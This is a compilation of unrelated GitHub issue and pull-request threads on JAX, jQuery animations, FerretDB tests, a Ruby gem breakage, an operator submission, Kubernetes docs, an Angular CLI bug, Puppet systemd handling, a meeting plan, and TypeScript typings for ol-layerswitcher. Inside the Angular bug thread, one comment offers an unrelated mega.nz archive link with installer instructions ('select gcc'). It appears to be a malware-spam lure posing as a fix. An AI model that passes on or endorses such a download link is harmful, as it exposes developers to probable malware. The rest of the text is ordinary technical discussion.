We probably wouldn't want to build this functionality in JAX proper, but deferring to unrecognized types is useful for enabling these sorts of higher level libraries.

This is also something you see in non-array libraries that want arithmetic or comparisons to be extensible, e.g., in Python's own datetime.datetime class:
https://github.com/python/cpython/blob/e02ab59fdffa0bb841182c30ef1355c89578d945/Lib/datetime.py#L2070
There's also a (google internal) Python tip of the week about this: go/pytotw/009

note: tests are failing on Python 2, but I'm hoping we can drop Python 2 support before we merge this :)

Tests are passing, now that we no longer support Python 2!
It would be great to get another look here :)


sequence of animations one after another

while i was trying three paragraphs with different animations one after other ,
i tried with animationEnd with example in loop
addClass(animationName).one(animationEnd,function(){
//call second and another
})
but it seems animationEnd and one works once per page load animation...
how can i bind callback of end of each animation done..
Please tell me what i am missing.

it is work as manually explicit id statement for each animation as nested on animation end, not able to run via for or each...
how can i assign dynamic nested on animation end in loop, for each nested assign class on end of previous one.

When you need something more complex like this, animate.css is not a good choice. Actually, no CSS library is. It'll be much easy and sane using a js library like greensock or anime.js.

I agree you should use JS Animation Framework like GreenSock.


Add more tests for $set and $addFields aggregation stages

Description
Closes #2590.

Added tests to increase test coverage and check error messages
Moved validation of aggregation expression to stages package

Readiness checklist

[ ] I added/updated unit tests.
[x] I added/updated integration/compatibility tests.
[ ] I added/updated comments and checked rendering.
[x] I made spot refactorings.
[ ] I updated user documentation.
[ ] I ran task all, and it passed.
[x] I ensured that PR title is good enough for the changelog.
[x] (for maintainers only) I set Reviewers (@FerretDB/core), Labels, Project and project's Sprint fields.
[x] I marked all done items in this checklist.

:wave: @shibasisp I added more tests and moved aggregation specific code from common package.

Thank you @chilagrow.  🙂


Reel is broken after http v0.8.0 has been released.

› linner w
/Users/saito/.rvm/gems/ruby-2.2.0/gems/http-0.8.0/lib/http/timeout/per_operation.rb:4:in `<class:PerOperation>': uninitialized constant HTTP::Timeout::PerOperation::Resolv (NameError)
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/http-0.8.0/lib/http/timeout/per_operation.rb:3:in `<module:Timeout>'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/http-0.8.0/lib/http/timeout/per_operation.rb:2:in `<module:HTTP>'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/http-0.8.0/lib/http/timeout/per_operation.rb:1:in `<top (required)>'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/http-0.8.0/lib/http.rb:5:in `<top (required)>'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/reel-0.5.0/lib/reel.rb:4:in `<top (required)>'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/linner-0.9.1/lib/linner/reactor.rb:1:in `<top (required)>'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:69:in `require'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/linner-0.9.1/lib/linner.rb:9:in `<top (required)>'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:121:in `require'
	from /Users/saito/.rvm/rubies/ruby-2.2.0/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:121:in `require'
	from /Users/saito/.rvm/gems/ruby-2.2.0/gems/linner-0.9.1/bin/linner:10:in `<top (required)>'
	from /Users/saito/.rvm/gems/ruby-2.2.0/bin/linner:23:in `load'
	from /Users/saito/.rvm/gems/ruby-2.2.0/bin/linner:23:in `<main>'
	from /Users/saito/.rvm/gems/ruby-2.2.0/bin/ruby_executable_hooks:15:in `eval'
	from /Users/saito/.rvm/gems/ruby-2.2.0/bin/ruby_executable_hooks:15:in `<main>'

Please release a new version of reel, maybe v0.5.1 to lock the http to v0.7.x or fix this issue to release a new version of reel, maybe v0.6.0.
Thanks

@SaitoWu I'll take care of this in 0.6.0.pre2

Can you please retest this with 0.6.0?

It works now!
Thank you.


operators [N] [CI] meshery-operator (0.0.1)

Signed-off-by: aisuko<EMAIL_ADDRESS>Thanks submitting your Operator. Please check below list before you create your Pull Request.
New Submissions

[ ] Are you familiar with our contribution guidelines?
[ ] Have you packaged and deployed your Operator for Operator Framework?

[ ] Have you tested your Operator in all supported installation modes?
[ ] Have you considered whether you want use semantic versioning order?
[ ] Is your submission signed?
[ ] Is operator icon set?

Updates to existing Operators

[x] Did you create a ci.yaml file according to the update instructions?
[ ] Is your new CSV pointing to the previous version with the replaces property if you chose replaces-mode via the updateGraph property in ci.yaml?
[ ] Is your new CSV referenced in the appropriate channel defined in the package.yaml or annotations.yaml ?
[ ] Have you tested an update to your Operator when deployed via OLM?
[ ] Is your submission signed?

Your submission should not

[ ] Modify more than one operator
[ ] Modify an Operator you don't own
[ ] Rename an operator - please remove and add with a different name instead
[ ] Modify any files outside the above mentioned folders
[ ] Contain more than one commit. Please squash your commits.

Operator Description must contain (in order)

[ ] Description about the managed Application and where to find more information
[ ] Features and capabilities of your Operator and how to use it
[ ] Any manual steps about potential pre-requisites for using your Operator

Operator Metadata should contain

[ ] Human readable name and 1-liner description about your Operator
[ ] Valid category name1
[ ] One of the pre-defined capability levels2
[ ] Links to the maintainer, source code and documentation
[ ] Example templates for all Custom Resource Definitions intended to be used
[ ] A quadratic logo

Remember that you can preview your CSV here.
--
1 If you feel your Operator does not fit any of the pre-defined categories, file an issue against this repo and explain your need
2 For more information see here

cc @leecalcote

@Aisuko can you fill metadata.annotations.categories in csv file, please?

We use operatorframework with make bundle, and the local test is ok, please help me on the failed case.
➜  meshery-operator git:(master) ✗ operator-sdk bundle validate ./bundle --select-optional suite=operatorframework
WARN[0000] Warning: Value : (meshery-operator.v0.0.1) csv.Spec.minKubeVersion is not informed. It is recommended you provide this information. Otherwise, it would mean that your operator project can be distributed and installed in any cluster version available, which is not necessarily the case for all projects.
INFO[0000] All validation tests have completed successfully

/merge possible

/merge possible

/merge possible

Thank you, sir.


Clean up topology-manager.md

Performed actions below:

fix typos
keep terms consistent like kubelet and Topology Manager
remove redundant spaces
fix a link anchor

See preview
/kind cleanup

Changes looks good.
/lgtm

/approve


Remove deprecated method for pushing images to GCR

This method for pushing images is deprecated. Instead we use docker-credentials-gcr. We can now rely on docker push.
Note this means users might also need to update their local environment, here are instructions for doing so.
Signed-off-by: Curt Micol<EMAIL_ADDRESS>

@skriss @nrb do either of you use this make target? I don't. I'm thinking we could remove it entirely?

@skriss @nrb do either of you use this make target? I don't. I'm thinking we could remove it entirely?

We are using this on our internal CI to push images to GCR currently.

(in new jenkins)

LGTM.


Issue #1944: Move DelegatingStream to internal namespace and rename to NonDisposableStream.

Linking #1944.

rename test and :shipit:

https://github.com/aspnet/Mvc/commit/2c5ae68ab6e61ebc025c841336a3df41790d241d


Ownership stateless widget

The Ownership Stateless Widget will replace the Ownership slice.
It should show a card with the Ownership transaction ID. When tapped it should navigate to another screen with the Ownership details.
It receives an OwnershipModel as the parameter.


Detect players by clicking, Morph to a prop + Lock player rotation

Left click to send player to the sky
Press E to morph to a prop
Raylib tools
Press Left Shift to lock player rotation and release to reset player rotation

beautify :nerd_face:


@angular-devkit/build-angular:dev-server not working for application with builder @angular-devkit/build-angular:server

Command
serve
Is this a regression?

[ ] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
No response
Description
I am trying to create a server project in my Angular repository. It works when I run ng build, but when I run ng serve, it says
Error: Schema validation failed with the following errors:
  Data path "" must NOT have additional properties(budgets).

Minimal Reproduction
angular.json

  {
    "api": {
      "projectType": "application",
      "root": "projects/api",
      "sourceRoot": "projects/api/src",
      "prefix": "app",
      "architect": {
        "build": {
          "builder": "@angular-devkit/build-angular:server",
          "options": {
            "outputPath": "dist/api",
            "tsConfig": "projects/api/tsconfig.app.json",
            "main": "projects/api/src/server.ts"
          },
          "configurations": {
            "production": { "outputHashing": "all" },
            "development": { "optimization": false, "extractLicenses": false, "sourceMap": true }
          },
          "defaultConfiguration": "production"
        },
        "serve": {
          "builder": "@angular-devkit/build-angular:dev-server",
          "configurations": {
            "production": { "buildTarget": "api:build:production" },
            "development": { "buildTarget": "api:build:development" }
          },
          "defaultConfiguration": "development"
        },
        "extract-i18n": { "builder": "@angular-devkit/build-angular:extract-i18n" },
        "test": {
          "builder": "@angular-devkit/build-angular:karma",
          "options": { "tsConfig": "projects/api/tsconfig.spec.json", "scripts": [] }
        }
      }
    }
  }

I have a single file src/server.ts

import express from 'express';

// The Express app is exported so that it can be used by serverless Functions.
export function app(): express.Express {
  const server = express();
  return server;
}

function run(): void {
  const port = process.env['PORT'] || 4000;

  // Start up the Node server
  const server = app();
  server.listen(port, () => {
    console.log(`Node Express server listening on http://localhost:${port}`);
  });
}

run();

Exception or Error
Error: Schema validation failed with the following errors:
  Data path "" must NOT have additional properties(budgets).

Your Environment
Angular CLI: 18.2.1
Node: 20.10.0
Package Manager: npm 10.2.3
OS: linux x64

Angular: 18.2.1
... animations, cli, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, platform-server
... router, ssr

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1802.1
@angular-devkit/build-angular   18.2.1
@angular-devkit/core            18.2.1
@angular-devkit/schematics      18.2.1
@schematics/angular             18.2.1
rxjs                            7.8.1
typescript                      5.5.4
zone.js                         0.14.10

Anything else relevant?
No response

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."

This is expected; the buildTarget in the dev-server configuration must point to either a browser or application builder.
This issue tracker is not suitable for support requests, please repost your issue on StackOverflow using tag angular-cli.
If you are wondering why we don't resolve support issues via the issue tracker, please check out this explanation.


Cleanup Systemd drop-in file handling

add puppet/systemd module
remove systemd daemon reload and raise minimal puppet version to 6.1
remove old "drop-in file" removal, was in place 3 years now
move systemd drop-in file handling to seperate define
Implement recent feedback
define is now private
rename parameter in define call
fix unit tests
fix rubocop complains
fix path, set default fact
fix systemd drop in file, adding template parameters to systemd define
added reason for drop in file in a comment

@bastelfreak @chelnak @ekohl this is ready for a final review, all previous comments have been addressed


chore: bdd-nh-1592515499 to 0.0.1

chore: Promote bdd-nh-1592515499 to version 0.0.1

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Annual meeting planning

Meeting adgenda doc
Meeting Github project

Thanks @jimscarver
A few more details for everyone.
Location:
Washington Hall Lodge Room
153 14th Ave, Seattle, WA 98122
When
October 24, 2017 at 6pm Pacific Time
RSVP
http://evite.me/HWdMTbZYx6

That google doc meeting agenda is helpful but I think it's not authoritative and it's increasingly out of date. As Greg discussed in the Oct 11 and 18 weekly debrief, items to be voted on

have been assigned ethereum addresses which have been posted in discord
are in a surveymonkey

I suppose I should add a comment on the google doc too...

What should we expect by way of meeting records? Written minutes? Informal notes? An audio recording?

What's the duration of the meeting?

re surveymonkey: provisional ballot from @kennyrowe: : https://www.surveymonkey.com/r/Preview/?sm=1GMx476HqTZ70o7gbp3LQbDH7oMr4XMYoDF7esqH7bt4bJ_2B0NWXX9qHnpExCwjP_2B
The member committee elections are missing from the survey @kennyrowe
Who are the candidates?

@jimscarver committees are not elected see comments from https://github.com/rchain/Members/issues/118

I see the duration is 3hrs (6-9pm).


add a .d.ts file

Can we get a .d.ts file added to the root project directory? I thought about adding this to ** DefinitelyTyped** but it would be nice to have it within the actual project.

This "works" and should be mostly right.  The main issue is with the imports.

The map as OlMap this is minor
This one is a larger issue.  I wasn't sure what type of Layer.

import { Map as OlMap } from 'ol';
import { Layer } from 'ol/layer';
import { Control } from 'ol/control';

export interface Options {
  activationMode?: string;
  collapseLabel?: string;
  label?: string;
  tipLabel?: string;
  groupSelectStyle?: string;
  reverse?: boolean
}
export default class LayerSwitcher extends Control {
  constructor(opt_options: Options);
  setMap(map: OlMap): void;
  showPanel(): void;
  hidePanel(): void;
  renderPanel(): void;
  static renderPanel(map: OlMap, panel: Element, options: any): void;
  static isBaseGroup(lyr: Layer): boolean;
  static setGroupVisibility(map: OlMap): any[];
  static setChildVisibility(map: OlMap): any[];
  getGroupsAndLayers(lyr: Layer, filterFn: (l: Layer, idx: number, a: any) => boolean): any[];
  static forEachRecursive(lyr: Layer, fn: (lry: Layer, idx: number, a: any) => void): void
  uuid(): string;
}

I just realized the filename should be index.d.ts instead of ol-layerswitcher.d.ts.

I made an attempt this morning to get this into DefinitelyTyped (@type/ol-layerswitcher) but ended up having some trouble getting it to build and run the tests that are required for the pull request.  I may revisit this in the future.

index.d.ts

import { Group } from 'ol/layer';
import BaseLayer from 'ol/layer/Base';
import Control, { Options as ControlOptions } from 'ol/control/Control';
import PluggableMap from 'ol/PluggableMap';

type GroupSelectStyle = 'none' | 'children' | 'group';

export interface Options extends ControlOptions {
    activationMode?: string;
    collapseLabel?: string;
    label?: string;
    tipLabel?: string;
    groupSelectStyle?: GroupSelectStyle;
    reverse?: boolean
}

export default class LayerSwitcher extends Control {
    constructor(options?: Options);
    static isBaseGroup(lyr: BaseLayer): boolean;
    static renderPanel(map: PluggableMap, panel: Element, options?: {groupSelectStyle?: GroupSelectStyle; reverse?: boolean;}): void;
    static setGroupVisibility(map: PluggableMap): any[];
    static setChildVisibility(map: PluggableMap): any[];
    static forEachRecursive(lyr: Group, fn: (lry: BaseLayer, idx: number, a: BaseLayer[]) => void): void
    getGroupsAndLayers(lyr: PluggableMap, filterFn?: (l: BaseLayer, idx: number, a: BaseLayer[]) => boolean): any[];
    hidePanel(): void;
    renderPanel(): void
    setMap(map: PluggableMap): void;
    showPanel(): void;
    uuid(): string;
}

ol-layerswitcher-tests.ts

import LayerSwitcher, { Options } from 'ol-layerswitcher';
import BaseLayer from 'ol/layer/Base';
import { Group } from 'ol/layer';
import Map from 'ol/Map';

const map = new Map({});
const groupLayer = new Group();
const panel = document.createElement('div');

/**
 * ==================================================
 * static methods
 * ==================================================
 */
LayerSwitcher.isBaseGroup(new BaseLayer({}));
LayerSwitcher.setGroupVisibility(map);
LayerSwitcher.setChildVisibility(map);
const forEachRecursiveFunction = ((lry: BaseLayer, idx: number, a: BaseLayer[]) => undefined);
LayerSwitcher.forEachRecursive(groupLayer, forEachRecursiveFunction);
// without options
LayerSwitcher.renderPanel(map, panel);
// with options
LayerSwitcher.renderPanel(map, panel, {groupSelectStyle: 'none', reverse: true});

/**
 * ==================================================
 * LayerSwitcher
 * ==================================================
 */

const layerSwitcher = new LayerSwitcher({
    activationMode: 'click',
    collapseLabel: '\u00BB',
    label: '\u00AB',
    tipLabel: 'Check between different map layers',
    groupSelectStyle: 'none',
    reverse: false,
});

// undefined function
layerSwitcher.getGroupsAndLayers(map);
const filterFunction = (l: BaseLayer, idx: number, a: BaseLayer[]) => true;
// with defined filter function
layerSwitcher.getGroupsAndLayers(map, filterFunction);

layerSwitcher.hidePanel();

layerSwitcher.renderPanel();

layerSwitcher.setMap(map);

layerSwitcher.showPanel();

layerSwitcher.uuid();

pull request 298